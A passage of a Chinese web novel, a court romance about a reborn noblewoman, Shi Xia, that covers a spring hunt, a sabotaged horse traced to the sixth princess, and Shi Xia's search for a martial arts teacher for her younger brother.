时夏终于松了一口气。
而嬷嬷刚才还胜券在握的表情瞬间崩塌了,她满脸惊恐,颤抖着:“景,景王......”
谢行旁边似乎还站着一人,那人上前一步,剑抵住了嬷嬷的脖子。
竟然是萧玦。
时夏已经来不及思考,萧玦怎么会和谢行在一块了。
也没有办法思考刚才谢行明明已经离开了的,现在怎么又出现在这里。
她只有劫后余生的庆幸。
“回去告诉贤妃,她想要的一切,都不可能了。”谢行对着嬷嬷冷冷开口:“礼物。”随着这两个人落下,萧玦刚才还只是抵在嬷嬷脖间的剑压入了几分。
深红色鲜血瞬间渗透出来,被光洁的剑反射出来。
“是,是......”嬷嬷颤颤巍巍。
萧玦这才收回剑,嬷嬷和那几个宫女连忙跑走,生怕谢行下一秒就反悔。
时夏现在已经缓过神来,她深吸一口气,看向谢行:“多谢景王......又救了臣女一次。”
“顺手而已。”谢行似乎不愿和时夏多说话,丢下几个字便大步离开,半点不停留。
时夏看着谢行走远的身影,她怎么觉得......谢行有些奇怪?
“时小姐。”萧玦同时夏打招呼。
时夏回过神,粲然一笑:“刚才多亏了萧玦。”
“是王爷先看到的。”萧玦挠了挠脑袋,脸颊上微微泛红,只是在这夜色里并不明显:“现下天色有些晚了,在下......送时小姐回去?”
他似乎怕时夏误会,又赶紧补充:“我只是看现在天都黑透了,担心时小姐又遇到......”
时夏并没有多想,而且嬷嬷虽
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已离开,但也不是没有再次返回的可能:“那就有劳萧将军啦!”
两人并肩走着,夜晚静谧,山里隐隐约约的虫叫声也成了陪衬。
-
“兰香,我要沐浴!”时夏瘫倒在床上,今天真的太累了!
坐马车累,贤妃的事情更累!
“好,小姐你先休息一会儿。”
兰香手脚麻利,没一会儿就准备好了热水。
时夏泡在热水里,身体的酸痛瞬间得到缓解,忍不住发出感叹。
太舒服了。
水雾萦绕,她就在木桶里享受着。
突然,时夏睁开眼,眼里多了几分清明。
不对,萧玦怎么会和谢行呆在一起?
她记得前世,萧玦和谢行不知是何原因,两人互相看不顺眼,虽然说不上针锋相对,但也绝不会有交集。
可这次......他们在谈论什么?
时夏心里多了几丝慌张,事情好像和前世不一样了。
这是时夏最为害怕的,唯一让她心里有底的便是前世的记忆,可现在事情的走向和前世并不一样,她应该怎么办?
-
谢行快步回到自己的房屋。
皇帝重视他,给他分的屋子还自带一个院子。
他有些莫名的烦躁,不知这情绪从何处而来,却贯穿他的整个身体。
由内而外的烦躁。
他不喜这种失控的感觉。
院子里夜风****,谢行独自在院中挥着剑,招招式式都全力而出,似乎在发泄着什么。
在这样一个夜晚,只有月光懒懒洒下,陪着他。
终于,不知过了多久,他停下了动作。
豆大的汗滴从额头上滴下,他似乎终于满足了。
-
时夏被几个宫女团团围住,不停挣扎,却无可奈何。
男人一剑斩下在最前面那人的手,鲜血喷涌而出,有几滴飞到了谢行的袖子上,时夏的衣裙却是干净如初。
时夏红着眼睛,颤抖着回头,眼里蓄满了泪水。
他伸手将惊恐的女孩搂进怀里,女孩刚才似乎惊恐极了,嘴角控制不住的往下,颤声开口:“夫君......”
第31章 鹿
翌日。
群臣皆到,鼓声震动,气势恢宏。
春猎正式开始。
时夏站在人群里,春猎没有什么猛兽,所以女子也可以参与。
“夏夏!你要参加吗!”颜挽笙终于寻着机会来找时夏。
“我想试试!”
“那我们一起吧!”颜挽笙开心,以往时夏几乎未参加过,她都是一个人走。
“好。”
两人挽着手去挑选马匹:“阿笙,这匹马如何?”
时夏不太了解这方面,只能按照好看的来挑。
颜挽笙本逗弄着自己的马,目光移过去,大惊失色:“这是四哥的马!”
时夏一惊,下意识后退了两步。
怪不得这马看着有些眼熟,她还以为是因为马基本就这几个颜色,她看着眼熟很正常呢。
“夏夏,你要这匹马吧。”颜挽笙拉着时夏走到前面,一匹白马:“这马要小一些,看着性格也温顺。”
像是印证颜挽笙的话,白马歪着头,在时夏手心蹭了蹭。
时夏忍不住笑:“真乖。”
确定好之后,两人便带着自己的马准备出发。
翻身上马,时夏虽不属于很擅长骑马的一类人,但基础的还是会的。
而这马匹也温驯,任由时夏抚摸。
两人一边闲聊,一边往林中走去。
她们本就是来感受感受,骑在马背上,慢悠悠的往前走着。
要说唯一的不好,就是哪怕做好了准备,也依旧有点摩大腿。
今晚回去,大腿肯定得红。
“诶!四哥。”颜挽笙突然往远处一指。
谢行骑在高大骏马上,冠着高马尾,雄姿英发,恍惚间,时夏似乎看到了前世,出征前的谢行。
谢行明明比她们出发得晚,但两人有一搭没一搭的慢悠悠晃荡着,早已被谢行超过。
谢行似乎耳力极好,听到了颜挽笙的声音,下意识将视线移过来。
可只是一瞬,他便收回了目光。
倒是严格遵守那日的约定。
“走吧,那边人少,说不定有小兔子。”时夏指向右侧,和谢行相反的方向。
“有道理!”颜挽笙十分兴奋,仿佛已经看见自己射中数只兔子。
时夏本是随口一说,可没曾想到,她们刚往那边走几分钟,便看见远处有一只兔子,正在专心致志的吃草。
“夏夏!真的有!”颜挽笙惊喜极了,却又不敢太大声,怕将兔子吓走。
“而且是没有怀孕的。”时夏也忍不住露出笑容。
运气真好。
拿出箭,对准方向,仔细观察。
“欻!”的一声,箭朝着兔子的方向飞驰而去。
可正当箭要命中兔子,不知旁边哪里飞出来一根箭,两根箭撞在一起,掉在地上。
这动静并不小,勤勤恳恳吃草的兔子在声音响起的一瞬,拔腿就跑,消失了踪影。
“谁啊!”颜挽笙气急,就差一点,她们就射中那兔子了的!
时夏也有些气恼,她自然看得出那人是故意的,旁边没有别的猎物,那箭却横着冲过来,显然是不想让她射中。
“这不是县主和时姑娘?”一道声音悠然传来。
“六公主。”时夏先出声,今日本是为了玩乐而来,她们还特意没有选大家都爱去的东侧:“西侧猎物稀少,六公主怎未和其他姑娘们一起?”
“本公主想去哪里就去哪里!”六公主双目一横:“你们刚才把本公主的猎物吓跑了!”
颜挽笙不满:“你胡说,明明是......”
时夏拉了拉她,摇头:“不知六公主说的是哪个猎物,我们二人未曾看见。”
“那,那里刚才有一只鹿!”六公主虽未看见,但没有人能证明阿。
“六公主可确定?”时夏蹙眉。
“难不成你认为本公主会撒谎!”
“臣女不是这个意思,只是臣女记得,近些年,鹿大量减少,陛下在春猎前派人提前检查,确保猎场中没有鹿的。”
“你!”
“公主不要着急,臣女只是担心,若是真的有鹿进来,说不定......也会有猛兽没有被排查掉!”时夏似乎担心极了:“若是有狼、老虎什么的,臣女倒是没关系,若是伤害到六公主可就不好了!六公主,您确定没有看错吗!不若......臣女陪您回去禀告陛下,若是出
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了什么意外可就不好了。”
六公主愤愤看着时夏,她忘记了这次父皇特意排查过,这是唯一一次没有鹿的春猎:“......不用!”
“真的不用吗?六公主,臣女可以陪您的。”时夏依依不饶。
颜挽笙也得意,有些挑衅的开口:“六姐姐,别怕啊,我们陪着你,陛下又疼爱你,必定会好好重新排查的!”
六公主脸色黑了又青,青了又黑,咬牙:“不用!”
扔下这句话,便骑马离开。
看着六公主仓皇跑走的背影,两人不再忍,大笑起来。
“夏夏!你看她那心虚的样子!”
时夏也忍俊不禁:“还好她说的是鹿。”
两人再次笑起来,人人皆知的事情,一向自傲的六公主却全然不知。
-
“时小姐!”少惊喜的声音从身后传来。
“萧将军?”时夏回头,哑然。
谢行,许临,萧玦......三个人同时出现在这里?
不对啊!
她没有记错啊,猎物确实大多都在东侧啊!怎么现在一个接着一个的出现在这边!
而且谢行,他之前不是去往的东侧吗?
“景王殿下,许公子。”脸上的笑容沉静下来,只留客气:“三位怎的也来了这边,臣女以为男子都会比较喜爱狩猎呢。”
“都不过是些小猎物,在哪里都一样,而且那边人太多了,吵。”许临解释:“要不一起?”
谢行目光扫向许临,他只当没有看见。
时夏看向谢行,对方并没有回应她,而是看着远处。
不知为何,她感觉最近......谢行都在避着她?
也是,他们两得避嫌,这样想着,她微笑开口:“不了,我们就想随便逛逛,就不拖你们的后腿了。”
“这怎么能叫拖后腿呢?”许临还想继续邀请,可谢行冷冽目光再次扫来,他只好闭嘴。
谢行没有再说话,双腿微微用力,驾马离开。
二人也只好跟上。
时夏和颜挽笙又继续聊起来,悠闲极了。
突然,时夏感觉有些不对劲,身下的小白马似乎有些躁动。
第32章 消失
时夏微微皱眉,想要安抚一下身下的马,可刚才还温顺由着她触碰的马现在却突然暴躁起来,大声哈着气,躁动不安极了。
她眼神一凛,有人做手脚!
“夏夏!”颜挽笙担心极了。
-
“太后娘娘!时小姐的马似乎出现了意外!现在......”颜挽笙的侍女惊慌失措的跑回去找太后求助,皇帝正带着群臣见太后。
“什么!”时父也在这里,听到侍女这样说,当即两眼一黑,就要站不稳。
“仔细说!”皇帝冷静多了,但语气里也有几分焦急。
“方才......时小姐和县主一同骑马去狩猎,本来还好好的,可活了一会儿,不知为何......那本一直温顺的马突然躁动起来,一下就迅速冲进林中......”侍女慌张极了:“时小姐......也一起不见了。”
此话一出,周围顿时安静。
春猎第一天,出现这种事,可不是小事。
而且还是时家的小姐,谁不知道时家最宠这个女儿?
“陛下,微臣求您派人帮忙找找微臣的女儿......”时父一想到时夏现在的处境,就感觉一阵心悸。
若是女儿真的出事了,那他也没必要......
“爱卿不必多言。”说着,皇帝下令:“来人!去找时丫头!就是费再大的力量,也要给朕把时丫头全须全尾的带回来!”
“是!”数十人出发。
“爱卿放心,有朕在,时丫头不会有意外的。”皇帝安抚。
可在场众人都知道,时夏这次,怕是凶多吉少了。
-
六公主回来时,正好见到侍卫们行色匆匆的出去。
她有些奇怪:“这是怎么了?”
婢女拦下一个侍卫:“发生了何事?”
“六公主,现下不可耽误时间,抱歉。”那侍卫说完就想离开。
却被六公主一句话打断:“本公主的话你也敢不听!”她冷脸,声音还带着几分怒。
“时小姐的马出了意外,陛下派属下们去寻。”侍卫无法,说完这句话便迅速跟上大部队。
六公主愣了一下,随即忍不住露出笑容:“呵,看来,这次是上天也想让你死啊。”
她高兴极了,将下午的事情抛之脑后,得意的往住处走。
虽然皇帝要求了这件事不可外传,可当时侍女来时的动静和侍卫们去寻找的动静都不算小,基本上来的人都知道,时夏的马突然发疯,带着她跑入林中,消失不见了。
更有甚者,甚至还说,时夏被马踩**,身体都被林中野兽分而食之了。
一直到夜晚,也没有时夏的消息。
时父的心情一点点沉入谷底。
用膳时,许多人也都在讨论这事。
时父和时煜本没有心思去用膳,可皇帝再三邀请:“时丫头肯定也不希望你们为了她,连饭都不好好吃的。”
无奈,两人不好驳了皇帝的面子,只好去了。
斜后侧坐着一对母女,正在小声议论着什么。
“你说,那时小姐......”
“现在都没有消息,多半......”
“要我说,她也是运气差,听说她往年都不参与狩猎,今年不过第一次,便遇到一匹疯马。”
“我看啊,说不定是她马艺不精,才惹得马发疯,不然这么多年都没有出过事,怎的她一来就突然疯了?”另一人猜测到。
“闭嘴!”那两人的座位离时煜不远,又没有太刻意压低声音,他听得清清楚楚,听到她们这样胡乱猜测编排时夏,他忍不了了。
“时小公子?”那两人似乎什么都没有说的样子:“这是怎么了?”
时父按下时煜:“犬子只是有些担心夏夏,不过......夫人和小姐是哪里得到的消息?”
他表面是不让时煜再继续说了,实则也心里不爽极了。
李大人瞪了一眼女儿,赶紧打哈哈:“时大人多虑了,小女只是看时小姐迟迟未被找回,想帮帮忙罢了。”
“哦?李小姐这么热心?现下怎么还吃的下饭?”时父气。
“这是怎的了?”这边的动静并没有逃过皇帝的眼睛。
“在下在安慰时大人呢。”李大人打哈哈。
“陛下,微臣实在是忧心小女,现下也吃得差不多了,先走了。”时父不
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想再继续虚与委蛇,提出离开。
皇帝却挽留:“朕知道爱卿担心时丫头,朕也是做父亲的人,朕能懂。但爱卿也别着急,朕还特意派顾小将军去找时丫头了的,不会有事的。”
皇帝说得轻巧。
“陛下,微臣不放心,微臣不愿坐在此住干等着。”
“爱卿......”皇帝还想要劝慰。
“小煜!”时父一低头,发现时煜竟然趁着刚才他和皇帝谈话的功夫,一个人跑出去了。
“陛下,抱歉,微臣很担心,无论是夏夏还是小煜。”说完,时父又准备走。
皇帝使了个眼色:“爱卿,好好歇息着,朕自然会把他们都好好的带回的,老四不也去找了,你还不放心吗。”
上位者的威压不再掩盖,摆明了,时父今日不可离开。
“......是。”时父第一次如此悔恨,若是自己同兄长一般擅长武功,无论皇帝想要怎么阻拦,他都会去亲自找时夏的。
-
时煜一个人摸黑,往时夏白日里消失的方向走去。
夜晚阴森,他小脸有些苍白,却还是坚持走去。
他一定得找回姐姐。
“时小公子?”萧玦不知从哪里出现,喊住了时煜。
“我姐姐呢?”时煜年纪还小,还没有怎么长个子,瘦瘦小小的,唯独黑暗里,那双眼睛睁得大大的,坚定极了。
顾连竹没有说话,他在犹豫。
时煜看出了顾连竹的犹豫,眼睛红了红,继续向深处走去:“我会找到姐姐的。”
看见时煜准备继续走,顾连竹这才不再犹豫,拉住他:“跟我来。”
-
时煜和时夏都迟迟未归,时父又被皇帝强行要求着留在那里,不许离开。
“时大人也不必忧心,今日早些时候,我和时小姐见面时,她还让我小心遇到野兽,她这般善良的人,自然不会出事。”六公主突然出声。
表面是在安慰时父,实际是故意提醒时父,时夏说不定早被野兽分食了。
果然,时父的脸色更不好了。
“多谢六公主。”突然,一道女声传来,众人寻声看去,赫然是时夏。
第33章 手帕
时夏一身骑衣,站在那里,周围是颜挽笙、时煜、谢行几人。
六公主愣了一下:“......你!”
不应该啊!时夏怎么会在这样的情况下,也能好好的站在这里。
“臣女多谢六公主关心。”时夏微微一笑。
虽然头发有些凌乱了,但更为她增添了几分活力与生机。
皇帝眼神暗了暗,开口:“爱卿,你看朕说的,时丫头不会出事的。”
时父看着时夏好好的站在那里,心里总算是松了一口气:“今日,多谢陛下了。”
“爹,我没事的。”时夏赶紧安慰父亲,今日事发突然,她便没有派人通知时父。
时夏已找回,饭也吃得差不多了,众人便都很有眼力见的离开。
“都调查清楚了?”皇帝按照惯例询问情况。
萧玦上前两步:“陛下,微臣猜测,应是有人故意的。”
“哦?”
“微臣在马身上发现了部分石灰。”
石灰粉末会让马匹躁动不安,甚至发狂。
皇帝脸色沉下:“竟有人如此大胆!给朕查!”
“在寻找时小姐的路上,微臣看见地上有一手帕,上面也有石灰粉末。”顾连竹拿出那手帕。
“不是时小姐今日都见了谁?”谢行开口。
时夏皱着脸,张了张嘴,却又什么都未说。
“时丫头,说。”皇帝开口。
“臣女,臣女谁也未曾见......”时夏目光快速看了一眼六公主,随后迅速低下头,似乎在害怕着什么。
皇帝自然没有错过:“时丫头,朕今日在这里,自然是会为你做主的。”
时夏犹豫半晌,才小心翼翼开口,声音低的几乎听不清:“臣女今日......只见过六公主......”
“时夏!”六公主激动极了:“你胡说什么!”
“安静。”皇帝斥责六公主。
时夏低下头,似乎再不敢说话。
“六公主,今日我们在西侧相遇,你走后没多久,夏夏的马就开始躁动不安了。”颜挽笙可没什么怕的。
“是,我是见了你们没错,但你凭什么说这是我做的!”
“但除了你,我们就只见过景王殿下,难不成,这粉色手帕是景王的?”颜挽笙讽刺。
“你!”六公主气急,却又不知该如何反驳。
“蕴儿,过来。”皇帝发话了。
她咬牙:“这不是我做的!”说着把视线转向婢女:“你说!”
“陛,陛下......”婢女颤颤巍巍走出。
颜挽笙把手帕扔在那婢女面前:“这难道,不是你的手帕?”
婢女只觉天旋地转,这手帕......的确是她的,她用力磕头,边磕边痛哭:“求陛下明鉴,这真的不是奴婢做的,奴婢怎敢害时小姐!”
“哦?”一直默不作声的谢行突然开口了:“那,食鼎楼呢?”
婢女的哭声呵动作同时停了下来,僵住:“奴,奴婢......”
“怎么回事?”皇帝眼里闪过一丝别样情绪。
“儿臣想,这婢女应该更清楚吧。”
顿时,所有目光都投向了那婢女。
她不用抬头也能清晰的感受到,有愤恨的,有探究审视的,还有警告的......
她咬牙:“奴,奴婢不知王爷在说什么......”
“说。”皇帝开口,语气里满是威压:“不得有半点隐瞒。”
那婢女本还想继续沉默,可数道目光都死死的打在她身上,她年纪也不大,没多久,终于是承受不住了,哭着开口:“奴婢只是按照六公主说的办事......”
“你乱说什么!”她一出声,六公主便将茶杯朝她丢去,狠狠的砸在了脊背上。
“安静!”皇帝斥责六公主:“继续说。”
“六公主说......只要奴婢帮她办好那件事,她便拿钱给奴婢母亲治病,奴婢,奴婢也没有想到火势会不受控制......”她颤颤巍巍。
“带下去。”皇帝挥了挥手,上来两个侍卫把一脸绝望的婢女拖走。
“父皇,你,你别听她胡说!”六公主攥紧裙子,声音也有些微微发抖。
显然,她不是个会演戏的人。
“谢蕴!”皇帝怒极了:“
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朕从前真的是太宠你了。”
皇帝很少这样喊六公主的名字,这次是真的气急了。
故意纵火,谋害京城贵女。
这样的事情,传出去,不知要成为多少人茶余饭后的谈资。
皇帝作为上位者多年,最舍不得的,便是那面子。
“我,我没有。”六公主像是崩溃了一般,恨恨的瞪向时夏:“都怪你!都是你的错!我明明只想针对你的!你为什么还好好的!”
她的声音尖锐极了,回荡着。
“给我带下去!”皇帝再次发话,随后看向时夏,语气平缓:“时丫头,怪朕平日里把她宠的无法无天了。你放心,这件事,朕一定给你一个解释。”
“臣女没关系的,六公主只是年纪小不懂事而已。”时夏善解人意极了。
-
出来后,时父紧紧的看着时夏,生怕她一不小心又出事了。
“爹,你不用担心啦,我真的没事。”时夏浅笑。
白日里,她和颜挽笙刚刚发现马不对劲,她便迅速从马上下来。
而谢行几人也未走远,“兰香,你看看能不能追上景王。”她蹙眉吩咐。
趁着马还未完全发疯,只是有些躁动不安,她牵着绳子,将绳子捆在树上。
应该可以坚持到谢行几人过来。
果然,谢行很快便踏马而来。
“有劳景王了。”她垂首。
虽然谢行不是什么好人,但在能力上,时夏对谢行是完全信任的。
也算是,嫁给他几年,唯一的了解吧。
谢行向来在各个领域都极其优秀,果不其然,刚才还躁动不安的马儿,在谢行手下,不过几分钟,便安静下来。
“怎么回事。”安抚好马匹,谢行才开口。
“不知,突然就躁动起来。”时夏蹙眉,六公主想不到这样的主意。
到底是谁呢?
“去向陛下禀报。”谢行看向旁边的婢女。
时夏疑惑:“王爷的意思是?”
“引蛇出洞罢了。”他牵着马:“就看这人耐不耐得住了。”
他回首,看着还在原地未动的时夏:“跟上来。”
第34章 本王很是期待与时小姐喜结良缘
皇帝并没有对外公布这件事,众人只知,春猎第二日,六公主便因身体不适,回宫了。
“小姐,今日天色可好了,你不出去看看吗?”兰香抱着一捧花进屋,这是她一大早去采摘的,时夏最喜欢清晨的花。
时夏坐在桌案前,在纸上写着什么,她摇摇头:“我现在应该在养伤。”
兰香点点头:“都怪那六公主,小姐难得有机会出来玩玩,现在却还只能呆在屋里。小姐和她明明也没有什么矛盾啊,为何六公主就这般针对小姐。”
“这件事没那么简单。”时夏放下笔。
“六公主背后还有人?”兰香有些后怕。
若只是六公主还好,毕竟六公主不聪明,又经过了这次的事件,好歹能老实一段时间了。
但她们都清楚,这次的意外和六公主无关,她只是个挡箭牌。
“夏夏!”颜挽笙的声音在门口响起:“夏夏!”
时夏赶紧打开门:“你不是去......”
颜挽笙和高希两人站在门口,笑意盈盈。
“高小姐?”时夏没想到高希也来了,有些惊讶。
“知道你一个人无聊,我肯定得来陪陪你呀。”颜挽笙毫不客气,走进去,拿起桌上的一个糕点,自顾自地吃了起来。
“阿笙......”时夏忍不住扁扁嘴。
上一世,她失去家人后,阿笙也是这样。
明明她在夫家也过得有些困难,可她却依旧不顾阻拦,要帮她,无论什么事情。
“别这么煽情,我只不过是不想去晒太阳罢了。”颜挽笙撇撇嘴:“还有这高家小姐,我都说了很多次,让她别跟着我,可她非要来。”
高希有些不好意思,但还是坚持:“时姐姐,我只是想看看你。”
时夏笑了笑,这高希虽然有时候傻傻的,但也没什么坏心思。
毕竟年岁小,大不了她教教就是了。
“快些坐下吧。”兰香很有眼力见的搬了个小椅子。
高希年龄不过十二,京中却恰好没有和她年纪相仿的贵女,要么是时夏这个年纪的,要么就是更小一些的。
她不愿和小女孩们讲幼稚的话题,却又不知该如何融入其他贵女。
“时姐姐!上次你说的那家衣服铺子,我去定了两套!可好看了!”高希好不容易找到愿意和她说话的人,高兴极了,叽叽喳喳说个不停。
起先颜挽笙和时夏还很有耐心的听着。
可直到两个时辰之后,太阳都逐渐西落了,她还在说个不停。
时夏感觉有些头疼,没人说过她话这么多啊。
“停停停!你饿吗?”颜挽笙实在忍不住了。
“有点。”高希感受了一下:“时姐姐,我今晚在你这里吃好不好!”
第二日之后,皇帝便没有要求统一用餐了。
时夏揉了揉太阳穴:“当然可以。”
她们两人都有些麻木了。
很快,几个侍女把菜送来,聊天的地方从书案旁又到了饭桌上。
高希一边吃,一边说话:“听说大皇子和燕世子快回来了!”
本来还有些疲惫的时夏顿时来了精神。
大皇子和燕世子二人爱好游山玩水,时常不在京城,就连逢年过节都不一定会回来。
不过,她怎么记得上一世,大皇子没有回来的这么早?
前世,她很快和谢行定了婚,便没有三皇子之后得一系列事。
上一世,三皇子和谢行两人争斗了两年,三皇子才落败,之后大皇子回京。
想到这,时夏忍不住暗暗腹诽。
三皇子得事情,谢行表面上说是为了帮她,实际上,也利用她解决了三皇子。
虽说没有让三皇子完全退出竞争,但起码,这两年三皇子都翻不起什么水花了。
但大皇子提前回来了。
别人不知道,但时夏作为重生回来的人,还是知道一些的。
比如,大皇子一直在藏拙。
又比如,上一世,直到她死,两人也还在争斗。
不过,这样想的话,大皇子确实是唯一可以和谢行匹敌的一方。
虽表面只知玩乐,可实际上并不逊色别人。
而且几年后,谢行的势力越来越大。
皇帝对他的爱也逐渐多了几分警惕和怀
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疑。
皇帝疑心中,且又不甘心退位,认为自己还能继续,所以迟迟未立太子。
尤其是那几年,谁若是建议皇帝立太子,皇帝便会觉得那人是想咒他死,然后将人贬谪。
“你从何处听说的?”时夏询问。
“我爹呀!”高希见时夏很感兴趣,解释道:“我爹说,大皇子他们已经在回京的路上了,估计春猎结束之后,要不了多久便到京城了吧。”
“这么快。”时夏点点头,高家和燕世子的关系确实不错,往来很多。
-
夜晚,时夏静静的坐在屋外,仰头,欣赏的满天繁星。
“真漂亮啊。”她忍不住伸出手,似乎想要触碰。
“本王以为时小姐不爱欣赏繁星。”谢行的声音从她背后出来,带着点讥讽。
在他的接触中,时夏做的所有事,都是为了利益。
无论是开铺子,议亲,合作......
不过,很巧,他也是这样一个利益至上的人,倒也算欣赏她了。
“王爷来了。”时夏收回视线,起身,声音微微冷:“至少王爷应是没有这个心思的。”
她们是合作关系,她自然不会忍着谢行。
“何事。”谢行淡声开口。
“我听闻,大皇子要回京了。”
“嗯。”谢行点头:“估摸着就这几天了。”
“不知......王爷做了些什么准备?”时夏笑。
刚才还比较随意的谢行,眼里多了几分探究:“你知道?”
“王爷知道的事,臣女为何不能知道呢?”时夏眨了眨无辜的眼睛。
谢行周身气息瞬间变冷,上前两步,时夏被挡在椅子和他胸膛之间。
但时夏没有退缩,她仰起头,对上谢行的目光。
春夜里,周围只有隐隐两声虫鸣和风吹过树叶带起的莎莎声。
两人一黑一白,靠近着,一人低头,一人抬头,静静地对峙着。
“王爷这是在担心什么?”
“本王很是期待一年之后,和时小姐喜结良缘。”谢行并没有回答,而是嘴角微微扬起,淡淡吐出这句话。
第35章 习武
时夏在屋里休息了两三天,总算是可以出去了。
今日太阳有些晒,贵女们选择在遮阴处闲聊。
时夏和颜挽笙到时,大家基本都已到场。
“时姐姐,身子可养好了?那日真是太危险了。”贵女们见时夏露面,也都上前来关心。
“让大家担心了,多亏景王殿下和萧玦,些许擦伤,无碍的。”时夏浅浅一笑。
“那便好。”众人簇拥着时夏。
“时姐姐,你看我这衣服,是在你之前说的那家铺子定的!”高希凑到时夏面前,得意地转了个圈。
时夏设计的衣服,她自然知道是高希的,甚至在设计前还专门打探了高希喜欢的风格:“妹妹穿着真好看。”
“那是!”高希高兴极了:“我这个月还给时姐姐你也定了一套,时姐姐可好好等着!”
时夏笑容僵了一瞬:“不用,我听闻那铺子每月都限量,妹妹不若给自己多定几套?”
在开业前,她便给自己设计了许多套衣裙了,更重要的是,设计衣服真的很累,她已经在考虑要不要再减少一些了。
比如......随缘接定制?
普通的款式还是照常上新,用些好的料子,也能卖得不错。
“不行!之前时姐姐帮了我,我必然要感谢时姐姐的!”高希坚持。
时夏无奈,只好应下。
思绪却忍不住飞走。
前世,婚后第二年,她特意花了一个月时间为谢行精心设计了一套衣服,然后还去向绣娘学习,制作出了那衣服。
他满心欢喜地将衣服装好,作为谢行的生辰礼。
“夫君。”她有些小得意地将礼物递出。
谢行在书案旁,书写着什么,依旧冷淡,连头也未抬:“嗯,放着吧。”
“夫君不试试看吗?”她伸手,想拉起谢行。
可手刚伸出一半,却见谢行的手下意识往后退了半分,躲开了她。
时夏抿抿唇,假装没有注意到,手拐了个弯,给谢行倒了杯茶水。
可后来,谢行还是每日穿着那官服,好像时夏从未送过他衣服。
想到这,时夏忍不住感叹。
同样都是她设计的衣服,有的人却弃之如履。
是她前世天真,连这样明显的事实,也要自我蒙蔽。
-
春猎轰轰烈烈开始,结束得却冷清许多。
回城中,时夏刚下马车,便见**一脸担心的在门口守着。
“娘。”她伸手挽着**,撒娇。
“就知道他们父子两不可靠!”**数落时父和时煜。
不过一个春猎,时夏竟然差点回不来。
不过,贤妃的事情,时夏没有告诉众人,还特意吩咐过兰香,任何人也不许说。
虽说表面上贤妃是因为三皇子的事情借机发难她。
但萧玦告诉她,那夜,除了老嬷嬷,几个宫女都不像是普通人。
尤其是虎口处的茧、下意识抵挡的动作,都在表明着,她们是习武之人。
而贤妃母家只是文官,且都不善武。
周围怎会有这么多擅长习武的宫女呢?贤妃的身后必定还有人。
“娘,我要习武!”一直低头沉默的时煜突然开口。
“你还习武?之前让你习武,是谁天天偷偷跑走?”**自然是不信,时煜最是贪玩。
且做什么事情都是三分钟热度,每次闹着要学这样那样的是他,过几天死活不肯去的也是他。
“我就要学!”时煜坚持。
**也没当回事:“行行行,学。”随便给他找个师父教教他就行了,就他这性子,最多坚持五天,必定闹着后悔。
时夏却开始思索,前世她嫁给谢行后。
时煜突然就懂事了般,开始攒了劲的习武,跟着大伯父去战场。
但到底是学得晚,且许多都是他自己琢磨的,没有系统的学习过。
便是这样,才导致了后来战死沙场的结局吧。
那时他......不过才十五岁。
“阿姐,等我回来,记得请我去食鼎楼吃好吃的!”少年的声音回荡在时夏脑海里。
可时夏却没有等到那个机会。
“娘,我给小煜找师父吧。”时夏吸了吸鼻子,笑,只是眼里似乎有着泪光。
她知道母亲肯定觉得时煜不会认真学,随便找个人教教
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就行了。
可时煜以后一定会上战场,她希望,能给时煜找个最好的师父。
这样,时煜也就能多一分好好活着的希望。
她虽然不知时煜为何会突然选择上战场,但既然是时煜选择的,她不想立刻阻止。
如果......她改变不了,还是到了时家必须离开的那一天,时煜会懂的。
现在,就让他好好做他想做的吧!
“夏夏?”**有些疑惑,以往时夏最爱拿时煜三分钟热度取笑他的,怎的这次还帮起忙来了?
“娘,放心。”
时夏目光坚定,眼里满是把握。
**愣了愣,感觉女儿......变了一些,说不出来是哪里,但似乎就是和以前不一样了。
“好,那娘就把这事交给你。”不过,她很乐意相信时夏,也很乐意看见时夏的成长。
-
夜里,时夏一手撑着脑袋,歪着头。
白日里,她虽说得很有把握,但其实也还未考虑好,到底找谁来当时煜的时父。
萧玦,虽然是将军,但他其实并没有接受过教学,更多的是靠那一股子冲劲,就像前世的时煜一样。
冲劲,对于萧玦这种天赋好的人来说,是加分项。
可时煜在这方面并没有太大的天赋,只是可普通人。
想要在战场上好好的活下来,必须要有扎实的功夫。
而京城中,许多公子也在习武。
但那些师父所教学的招式,更多是花拳绣腿,让京城公子哥们拿来当作一个展示自我的工具而已。
直接将他丢去军营?时煜一点基础都没有,到军营里只有挨揍的份。
至少要让他先有些基础,再去军营磨练。
想着想着,时夏忍不住想起,前世,谢行也经常带兵出征。
或许,谢行的师父是个不错的选择?
这样想着,时夏一大早便将时煜拉起来,去往景王府。
她本想约在食鼎楼见面,但又想到万一谢行不愿让人知道食鼎楼的事情,便还是去了王府。
“本王的师父?”会客厅里,谢行端起茶杯,看着面前的一大一小,挑眉。
第36章 登门拜访
“王爷,我想这也是我们合作中的一环吧。”时夏笑笑,势在必得。
但谢行却拒绝的干净利落:“不行。”
“为何?”时夏不明白,只不过是帮忙介绍一下,对谢行来说只是举手之劳。
谢行并没有回答:“时小姐若是需要,本王倒是可以抽时间。”
“不麻烦王爷了。”时夏当然不会让谢行教时煜。
让谢行帮忙联系人,那是因为她们合作,是资源换取。
但若是让谢行亲自教时煜,那就超出界限了,是欠人情。
她没有这个打算。
大不了,就再多看看,多找找,总能有合适的。
“阿姐?”时煜有些奇怪。
景王愿意教他,阿姐为何要拒绝呢?
“没事,我们走吧。”时夏拍了拍时煜的背,抬首:“王爷,那我们就先告辞了。”
“嗯。”谢行也没有多留她们。
直到两人走出屋子,谢行才抬起头,看着两人远去的背影。
时夏,在想什么?在谋划什么?
-
“阿姐,难得出来一趟,我们逛逛再回去吧。”时煜好久未出来玩,左顾右看的。
时夏无奈:“只能逛一个时辰,你的课业还没有完成呢,明日可就得继续上课了。”
“阿姐真好!”时煜欢快扔下这句话,便冲下马车。
“跑慢点!”时夏忍不住说。
走下马车,时煜已经只剩下一个小小背影了。
时夏无奈,只得加快步伐。
时煜正站在一糖画铺子面前,看得目不转睛。
时夏毫不留情,揪住他的耳朵:“好看吗?”
“诶诶诶!阿姐!疼!”时煜呲牙咧嘴,身体往时夏那边侧。
时夏瞪了他一眼,才松开手:“我以前怎么说的,不要乱跑,你全都忘记了是不是。”
“没有......”时煜理亏低头。
突然,周围传来一阵喧哗。
两人回头,只见一匹马疯了般朝这个方向迅速冲来。
“小心!”一双手拉过两人,马匹从两人面前擦肩而过。
男人似乎很是擅长,不过三两下便控制住发狂的马。
从背后看,动作利落干净,倒是和谢行有些像,若不是男人穿的白衣,时夏几乎都要以为这人就是谢行了。
控制好马匹,男子将缰绳递给一旁的侍从:“带下去。”
